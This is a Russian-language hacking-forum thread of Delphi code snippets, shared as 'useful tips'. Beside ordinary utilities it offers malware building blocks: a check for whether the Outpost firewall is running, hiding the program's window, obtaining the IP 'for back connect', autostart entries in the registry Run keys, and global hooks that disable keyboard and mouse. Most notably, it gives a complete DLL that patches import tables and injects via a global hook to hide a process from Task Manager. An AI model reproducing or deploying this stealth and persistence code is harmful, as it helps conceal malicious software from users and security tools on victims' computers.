• XSS.stack #1 – первый литературный журнал от юзеров форума

Полезные советы

Отслеживать

Amper

(L3) cache
Пользователь
Регистрация
10.08.2005
Сообщения
250
Реакции
3
Здесь выкладываем полезные советы по работе в Делфи, а также небольшие полезные исходники, которые могут часто пригодиться...
 
Ну что ж. Начнем :)

С помощью этого примитивного исхода можно узнать запушено ли в системе интересующее нас приложение. Например Outpost :crazy:

Код: 
uses
  Psapi, tlhelp32;

procedure CreateWin9xProcessList(List: TstringList);
var
  hSnapShot: THandle;
  ProcInfo: TProcessEntry32;
begin
  if List = nil then
    Exit;
  hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSnapShot <> THandle(-1)) then
  begin
    ProcInfo.dwSize := SizeOf(ProcInfo);
    if (Process32First(hSnapshot, ProcInfo)) then
    begin
      List.Add(ProcInfo.szExeFile);
      while (Process32Next(hSnapShot, ProcInfo)) do
        List.Add(ProcInfo.szExeFile);
    end;
    CloseHandle(hSnapShot);
  end;
end;

procedure CreateWinNTProcessList(List: TstringList);
var
  PIDArray: array[0..1023] of DWORD;
  cb: DWORD;
  I: Integer;
  ProcCount: Integer;
  hMod: HMODULE;
  hProcess: THandle;
  ModuleName: array[0..300] of Char;
begin
  if List = nil then
    Exit;
  EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
  ProcCount := cb div SizeOf(DWORD);
  for I := 0 to ProcCount - 1 do
  begin
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
      PROCESS_VM_READ,
      False,
      PIDArray[I]);
    if (hProcess <> 0) then
    begin
      EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
      GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
      List.Add(ModuleName);
      CloseHandle(hProcess);
    end;
  end;
end;

procedure GetProcessList(var List: TstringList);
var
  ovi: TOSVersionInfo;
begin
  if List = nil then
    Exit;
  ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(ovi);
  case ovi.dwPlatformId of
    VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
    VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
  end
end;

function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
  i: Integer;
  MyProcList: TstringList;
begin
  MyProcList := TStringList.Create;
  try
    GetProcessList(MyProcList);
    Result := False;
    if MyProcList = nil then
      Exit;
    for i := 0 to MyProcList.Count - 1 do
    begin
      if not bFullpath then
      begin
        if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0
          then
          Result := True
      end
      else if CompareText(MyProcList.strings[i], FileName) = 0 then
        Result := True;
      if Result then
        Break;
    end;
  finally
    MyProcList.Free;
  end;
end;

{------------------------------------------------------------------------------}

// Проверяем приложение

procedure TForm1.Button1Click(Sender: TObject);
begin
  If edit1.Text = '' then exit;
  if EXE_Running(edit1.Text, False) then
    messagedlg(edit1.text + ' запущено', mtInformation, [mbOk], 0)
  else
    messagedlg(edit1.text + ' НЕ запущено', mtInformation, [mbOk], 0)
end;

[mod][Amper:] Желательно код помещать в тегах code... так удобней читается.... Исправил... А так всё ок...[/mod]
 
Вставляем это в FormCreate главной формы и при запуске приложения визуально(!) мы ничего не увидим. А приложение будет работать.

Код: 
Application.CreateHandle;
ShowWindow(Application.Handle, SW_SPOILER);
Application.ShowMainForm := False;
 
Иногда требуется получить серийный номер какой-нибудь железяки. Зачем? Например, если я захотел написать платное приложение и нужно привязать его к определённому ПК.

С помощью этой функции мы получим серийный номер диска.
Код: 
 function GetHDDSerial: LongInt;
{$IFDEF WIN32}
var
  WNS : pDWord;
  MSL, FSF : dword;
{$ENDIF}
begin
  {$IfDef WIN32}
  New(WNS);
  GetVolumeInformation('C:\',nil,0,WNS,MSL,FSF,nil,0); //тут только диск C:
  Result := WNS^;
  dispose(WNS);
  {$ELSE}
  Result := GetWinFlags;
  {$ENDIF}
end;
P.S. Да и если кому-то нужно получить подобную инфу, но по другому железу - пишите в личку. То, что знаю как реализовать - помогу...
 
Также иногда нужно будет получить IP адрес(для back коннекта например или тестирования коннекта), можно получить разными способами например используя TClientSocket или TServerSocket но лучше:
Код: 
Host: TLabel;
IPaddr: TLabel;
...
uses Winsock;
...

procedure TForm1.FormCreate(Sender: TObject);
var
  wVerReq: WORD;
  wsaData: TWSAData;
  i: pchar;
  h: PHostEnt;
  c: array[0..128] of char;
begin
  wVerReq := MAKEWORD(1, 1);
  WSAStartup(wVerReq, wsaData);
  {Получаем хост (имя) компа}
  GetHostName(@c, 128);
  h := GetHostByName(@c);
  Host.Caption := h^.h_Name; //Host отображает хост(имя) компьютера
  {Достаем IP}
  i := iNet_ntoa(PInAddr(h^.h_addr_list^)^);
  IPaddr.Caption := i; //Теперь IPaddr отображает IP-адрес
  WSACleanup;
end;

[mod][Amper:] Код перед публикацией желательно проверять или хотя бы просматривать... Этот код не работает года два уже, так как зависим от скриптов на icq.com. Нерабочую процедуру я удалил... [/mod]
 
наверно это уже у всех есть но пусть будет и тут.... хоть и не относится к безопасности в сети....
Код: 
{****************ЗАДЕРЖКА В СЕКУНДАХ*****************}
Procedure DelayM (Seconds: Word);
Var
Later: TDateTime;
Begin
Later := Now + (Seconds / (24.0 * 60.0 * 60.0));
While Now < Later do Application.ProcessMessages;
end;


{****************ЗАДЕРЖКА В МИЛИСЕКУНДАХ**************}
Procedure DelayMs (Milseconds: Word);
Var
Later: TDateTime;
Begin
Later := Now + (Milseconds / (24.0 * 60.0 * 60.0 * 90.0));
While Now < Later do Application.ProcessMessages;
end;


{*******************Чтение из ini файла***********************************}
function ReadIni(NameIni, ASection, AString : String) : String;
const
S = 'Ошибка чтения из ini файла'; { стандартная строка для выдачи ошибок чтения }
var
dir:String;
begin
dir:=ExtractFilePath(Application.EXEName);
sIniFile := TIniFile.Create(dir+'\'+NameIni);
Result := sIniFile.ReadString(ASection, AString, S); { [Section] String=Value }
sIniFile.Free;
end;


{*******************Создание и запись в ini файл******************************}
procedure WriteIni(NameIni,ASection, AString, AValue : String);
var
Dir:string;
begin
dir:=ExtractFilePath(Application.EXEName);
sIniFile := TIniFile.Create(dir+'\'+NameIni);
sIniFile.WriteString(ASection, AString, AValue);; { [Section] String=Value }
sIniFile.Free;
end;


{***************************Копировние файлов*****************************}
Procedure FileCopy( Const sourcefilename, targetfilename: String );
Var
S, T: TFileStream;
Begin

S := TFileStream.Create( sourcefilename, fmOpenRead );
try
T := TFileStream.Create( targetfilename,
fmOpenWrite or fmCreate );
try
T.CopyFrom(S, S.Size );
finally
T.Free;
end;
finally
S.Free;
end;
end;


{*******************Запуск файла*************************************}
Function RunFile(FileName, Params:String):Integer;
begin
Result :=
ShellExecute(0,nil,pchar(filename),pchar(params),pchar(extractfilepath(filename)),sw_normal);
end;


{**********Удаление файла********************************}

function Win95Erase(Owner: Integer; WichFiles: String; SendToRecycleBin, Confirm: Boolean): Boolean;
const

Aborted: Boolean = False;
var

Struct : TSHFileOpStructA;
begin

While pos(';',WichFiles)>0 do
WichFiles[pos(';',WichFiles)]:=#0;
WichFiles:=WichFiles+#0#0;
with Struct do
begin
wnd :=Owner;
wFunc :=FO_Delete;
pFrom :=PChar(WichFiles);
pTo :=nil;
If not Confirm then
fFlags:=FOF_NOCONFIRMATION;
If SendToRecycleBin then
fFLags:=fFlags or FOF_ALLOWUNDO or FOF_FILESONLY
else
fFlags:=fFlags or 0 or FOF_FILESONLY;
fAnyOperationsAborted:=Aborted;
hNameMappings:=nil;
lpszProgressTitle:=nil;
end;
result:=(SHFileOperationA(Struct)=0) and (not Aborted);
end;


{*********************Директория WINDOWS***********************************************}
function FindWindowsDir : string;
var
pWindowsDir : array [0..255] of Char;
sWindowsDir : string;
begin
// GetWindowsDirectory(LPTSTR,UINT);
// LPTSTR lpBuffer, // адрес буфера для директории Windows
// UINT uSize // размер буфера директории

GetWindowsDirectory (pWindowsDir, 255);
sWindowsDir := StrPas (pWindowsDir);
Result := sWindowsDir;
end;


{***************Возведение в степень******************************}
function Stepen(osnovanie,stepen:Extended):integer;
begin
Result:= trunc(exp(ln(Osnovanie) * stepen));
end;


{**********************CD-Open*********************************}
function Cdopen:Boolean;
var
handle:Hwnd;
begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
end;


{*********************CD-Close**********************************}
function CdClose:Boolean;
var
handle:Hwnd;
begin
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
end; 
{*************Показать панель там где пуск или убрать***********************************}
procedure ShowTaskBar(t: boolean);
begin
if t then
ShowWindow(FindWindow('Shell_TrayWnd', Nil), SW_SHOW)
else
ShowWindow(FindWindow('Shell_TrayWnd', Nil), SW_SPOILER);
end;


{*********************Заменить картинку на рабочем столе******************}
procedure ChangeWallpaper(Path: String);
var
PC: Array[0..$FF] of Char;
begin
StrPCopy(PC, Path);
SystemParametersInfo(spi_SetDeskWallpaper, 0, @PC, 
spif_UpdateIniFile);
end;


{*******************Смена разрешения экрана****************************************}

procedure ChangeDisplayResolution(x, y : word);
var
dm : TDEVMODE;
begin
ZeroMemory(@dm, sizeof(TDEVMODE));
dm.dmSize := sizeof(TDEVMODE);
dm.dmPelsWidth := x;
dm.dmPelsHeight := y;
dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
ChangeDisplaySettings(dm, 0);
end;


{*********************Смена языка**************************************}
function ChangeLayout(LANG: Integer): Boolean;
var
Layouts: array [0..16] of HKL;
i, Count: Integer;
begin
Result:=False;
Count:=GetKeyboardLayoutList(High(Layouts)+1, Layouts)-1;
for i:=0 to Count do if (LoWord(Layouts[i]) and $FF) = LANG
then
Result:=ActivateKeyboardLayout(Layouts[i], 0)<>0;
end;
{Пример использования:
ChangeLayout(LANG_RUSSIAN);
ChangeLayout(LANG_ENGLISH);}


{****************выключение клавы***********************************}


procedure KeyBoardOff;
function KbHook( code: Integer; wparam: Word; lparam: LongInt
): LongInt;stdcall;
begin
if code<0 then Result:=CallNextHookEx( k_oldKbHook, code,
wparam, lparam )
else Result:=1;
end;
begin
k_OldKbHook := SetWindowsHookEx( WH_KEYBOARD, @KbHook,
HInstance, 0 );
end;


{*******************включение клавы********************************}
procedure KeyBoardOn;
function KbHook( code: Integer; wparam: Word; lparam: LongInt
): LongInt;stdcall;
begin
if code<0 then Result:=CallNextHookEx( k_oldKbHook, code,
wparam, lparam )
else Result:=1;
end;
begin

if k_OldKbHook <> 0 then
begin
UnHookWindowshookEx( k_OldKbHook );
k_OldKbHook := 0;
end;
end;


{*************включение мышки**************************************}

procedure MOUSEON;
function MouseHook( code: Integer; wparam: Word; lparam:
LongInt ): LongInt;stdcall;
begin
if code<0 then Result:=CallNextHookEx( m_oldMHook, code,
wparam, lparam )
else Result:=1;
end;
begin
if m_OldMHook <> 0 then
begin
UnHookWindowshookEx( m_OldMHook );
m_OldMHook := 0;
end;
end;


{*****************выключение мышки***********************************************}

procedure MouseOff;
function MouseHook( code: Integer; wparam: Word; lparam:
LongInt ): LongInt;stdcall;
begin
if code<0 then Result:=CallNextHookEx( m_oldMHook, code,
wparam, lparam )
else Result:=1;
end;
begin
m_OldMHook := SetWindowsHookEx( WH_MOUSE, @MOUSEHook,
HInstance, 0 );
end;

{**********Поиск окна по его имени и помещение на передний план**********}
{procedure TForm1.Button1Click(Sender: TObject);
var
TheWindowHandle : THandle;
begin
ShowMessage(inttostr(FindWindow(nil,'api_help_0')));
TheWindowHandle:=FindWindow(nil,'api_help_0');
BringWindowToTop(TheWindowHandle);
end;

end.}
{***************Помещение записи в одну из секций автозапуска реестра*************************************}
Function StoreToRunSection (HKEYTarget:THKEYTarget;
SectionTarget:TSectionTarget; Name, Data:String):boolean;
Var
Reg:TRegistry;
Section:String;
begin
Result := TRUE;
try
reg := TRegistry.Create;
IF HKEYTarget = htLocalMachine then reg.RootKey :=
HKEY_LOCAL_MACHINE;
IF HKEYTarget = htCurrentUser then reg.RootKey :=
HKEY_CURRENT_USER;
IF SectionTarget = stRun then Section := 'Run';
IF SectionTarget = stRunOnce then Section := 'RunOnce';
IF SectionTarget = stRunOnceEx then Section := 'RunOnceEx';
reg.LazyWrite := false;

reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+Section,false);
reg.WriteString(Name, Data);
reg.CloseKey;
reg.free;
except RESULT := FALSE; end;
END;
{begin
StoreToRunSection (htLocalMachine, stRun, 'Имя программы',
application.exename);
end;}


{****************Удаление записи в одну из секций автозапуска реестра***************}
Function DelRunSection (HKEYTarget:THKEYTarget;
SectionTarget:TSectionTarget; Name, Data:String):boolean;
Var
Reg:TRegistry;
Section:String;
begin
Result := TRUE;
try
reg := TRegistry.Create;
IF HKEYTarget = htLocalMachine then reg.RootKey :=
HKEY_LOCAL_MACHINE;
IF HKEYTarget = htCurrentUser then reg.RootKey :=
HKEY_CURRENT_USER;
IF SectionTarget = stRun then Section := 'Run';
IF SectionTarget = stRunOnce then Section := 'RunOnce';
IF SectionTarget = stRunOnceEx then Section := 'RunOnceEx';
reg.LazyWrite := false;

reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+Section,false);
reg.DeleteValue(name);
reg.CloseKey;
reg.free;
except RESULT := FALSE; end;
END;


{********************Скрытие значков рабочего стола*********************************************}
procedure ShowDesktop(const YesNo : boolean);
var h : THandle;
begin
h := FindWindow('ProgMan', nil);
h := GetWindow(h, GW_CHILD);
if YesNo = True then
ShowWindow(h, SW_SHOW)
else
ShowWindow(h, SW_SPOILER);
end;


{********************* Перезагрузка Windows*******************************************}
procedure RestartWindowsbtnclk(Sender: TObject);
begin
if not ExitWindows(EW_RestartWindows, 0) then
ShowMessage('Приложение не может завершить работу');
end;
{Пример :RestartWindowsBtnClick(Form1); }



{***********Преобразование из String в Pchar**************}
function strtoPchar(s:string):Pchar;

begin
S := S+#0;
result:=StrPCopy(@S[1], S);
end;


//***************Выключение питания*********************************
procedure Poweroff;
var
ph:THandle;
tp,prevst:TTokenPrivileges;
rl:DWORD;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY,ph);
LookupPrivilegeValue(Nil,'SeShutdownPrivilege',tp.Privileges[0].Luid);
tp.PrivilegeCount:=1;
tp.Privileges[0].Attributes:=2;
AdjustTokenPrivileges(ph,FALSE,tp,SizeOf(prevst),prevst,rl);
ExitWindowsEx(EWX_SHUTDOWN or EWX_POWEROFF,0);
end;


{************выключение компьютора****************************}
{var

procedure Poweroff;
var
ph:THandle;
tp,prevst:TTokenPrivileges;
rl:DWORD;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY,ph);
LookupPrivilegeValue(Nil,'SeShutdownPrivilege',tp.Privileges[0].Luid);
tp.PrivilegeCount:=1;
tp.Privileges[0].Attributes:=2;
AdjustTokenPrivileges(ph,FALSE,tp,SizeOf(prevst),prevst,rl);
ExitWindowsEx(EWX_SHUTDOWN or EWX_POWEROFF,0);
end;


//******************Копирование директориий с файлами***************
function Win95Copy(Owner: Integer; FromFile,ToFile: String; RenameOnCollision, Confirm: boolean): Boolean;
const

Aborted: Boolean = False;
var

Struct : TSHFileOpStructA;
begin

While pos(';',FromFile)>0 do
FromFile[pos(';',FromFile)]:=#0;
While pos(';',ToFile)>0 do
ToFile[pos(';',ToFile)]:=#0;
FromFile:=FromFile+#0#0;
ToFile:=ToFile+#0#0;
with Struct do
begin
wnd :=Owner;
wFunc :=FO_Copy;
pFrom :=PChar(FromFile);
pTo :=PChar(ToFile);
fFlags:=FOF_ALLOWUNDO or FOF_FILESONLY;
If RenameOnCollision then
fFLags:=fFlags or FOF_RENAMEONCOLLISION;
If not Confirm then
fFLags:=fFlags or FOF_NOCONFIRMATION;
fAnyOperationsAborted:=Aborted;
hNameMappings:=nil;
lpszProgressTitle:=nil;
end;
result:=(SHFileOperationA(Struct)=0) and (not Aborted);
end;


{************Процедура поиска файла в Memo****************************}
{var
dl,dledit,i:Integer;
c:String;

begin
dl:=Length(memo1.Text);
dlEdit:=length(edit1.Text);
for i:=0 to dl do
begin
memo1.SelStart:=i;
memo1.SelLength:=dlEdit;
c:=memo1.SelText;
if c=edit1.Text then
break;
end;
end;}


{*************Получение директории моего приложения*******************}
{ExtractFilePath(Application.EXEName )


{***********************Перевод каретки в Memo*****************************}
{memo1.Lines.Text:='adad'+#13+'qweqe'+#13+#13+#13;} {#13-перевод каретки}
 
Один из способов спрятать своё приложение из Диспетчера задач:

1. Делаем новую DLL. Например "uhaha.dll". Вот её исход:
Код: 
library uhaha;

uses
  Windows,
  SysUtils,
  ImageHlp,
  TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
  SystemBasicInformation,
  SystemProcessorInformation,
  SystemPerformanceInformation,
  SystemTimeOfDayInformation,
  SystemNotImplemented1,
  SystemProcessesAndThreadsInformation,
  SystemCallCounts,
  SystemConfigurationInformation,
  SystemProcessorTimes,
  SystemGlobalFlag,
  SystemNotImplemented2,
  SystemModuleInformation,
  SystemLockInformation,
  SystemNotImplemented3,
  SystemNotImplemented4,
  SystemNotImplemented5,
  SystemHandleInformation,
  SystemObjectInformation,
  SystemPagefileInformation,
  SystemInstructionEmulationCounts,
  SystemInvalidInfoClass1,
  SystemCacheInformation,
  SystemPoolTagInformation,
  SystemProcessorStatistics,
  SystemDpcInformation,
  SystemNotImplemented6,
  SystemLoadImage,
  SystemUnloadImage,
  SystemTimeAdjustment,
  SystemNotImplemented7,
  SystemNotImplemented8,
  SystemNotImplemented9,
  SystemCrashDumpInformation,
  SystemExceptionInformation,
  SystemCrashDumpStateInformation,
  SystemKernelDebuggerInformation,
  SystemContextSwitchInformation,
  SystemRegistryQuotaInformation,
  SystemLoadAndCallImage,
  SystemPrioritySeparation,
  SystemNotImplemented10,
  SystemNotImplemented11,
  SystemInvalidInfoClass2,
  SystemInvalidInfoClass3,
  SystemTimeZoneInformation,
  SystemLookasideInformation,
  SystemSetTimeSlipEvent,
  SystemCreateSession,
  SystemDeleteSession,
  SystemInvalidInfoClass4,
  SystemRangeStartInformation,
  SystemVerifierInformation,
  SystemAddVerifier,
  SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
 case Integer of
  0:(
   Characteristics: DWORD);
  1:(
   OriginalFirstThunk:DWORD;
   TimeDateStamp:DWORD;
   ForwarderChain: DWORD;
   Name: DWORD;
   FirstThunk: DWORD);
  end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
  pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
   pszModName: PChar;
       pThunk: PDWORD; ppfn:PFARPROC;
       ffound: LongBool;
      written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
 if pImportDesc = nil then exit;
 while pImportDesc.Name<>0 do
  begin
   pszModName := PChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
   Inc(pImportDesc);
  end;
 if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
 while pThunk^<>0 do
  begin
   ppfn := PFARPROC(pThunk);
   fFound := (ppfn^ = pfnCurrent);
    if (fFound) then
     begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
     end;
   Inc(pThunk);
  end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
SPOILEROnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end;

procedure InterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
 if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
   ZeroMemory(@me32,sizeof(MODULEENTRY32));
   me32.dwSize:=sizeof(MODULEENTRY32);
   Module32First(hSnapShot,me32);
    repeat
     ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
 if hSnapshot=INVALID_HANDLE_VALUE then exit;
 try
  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);
   repeat
    ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
   until not Module32Next(hSnapShot,me32);
 finally
  CloseHandle(hSnapShot);
 end;
end;


var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;

procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
      ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
 if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
 if addrMap=nil then
  begin
   CloseHandle(hFirstMapHandle);
   exit;
  end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;

exports
HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
 if mypid > 0 then
  UninterceptFunctions()
else
 CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
 if hmap=0 then exit;
 try
  mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
   if mapaddr=nil then exit;
  mypid:=mapaddr^;
  SPOILEROnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
   if SPOILEROnlyTaskMan^ then
    begin
     fname:=allocMem(MAX_PATH+1);
     GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
  InterceptFunctions;
 finally
  UnmapViewOfFile(mapaddr);
  CloseHandle(Hmap);
  DLLProc:=@LibraryProc;
 end;
end.

Компилируем это безобразие. Получается DLL около 42 кг.

2. Берём свою прогу. Подключаем эту DLL - прописываем функцию:
Код: 
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'uhaha.dll';

3. Добавлаем это куда нам надо:
Код: 
HideProcess(GetCurrentProcessId, false);

Все. Это спрячет прогу из списка процессов.

P.S. Да и... Файер конечно же палит, что процесс HZ.exe пытается внедрить UHAHA.dll в другой процесс...
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх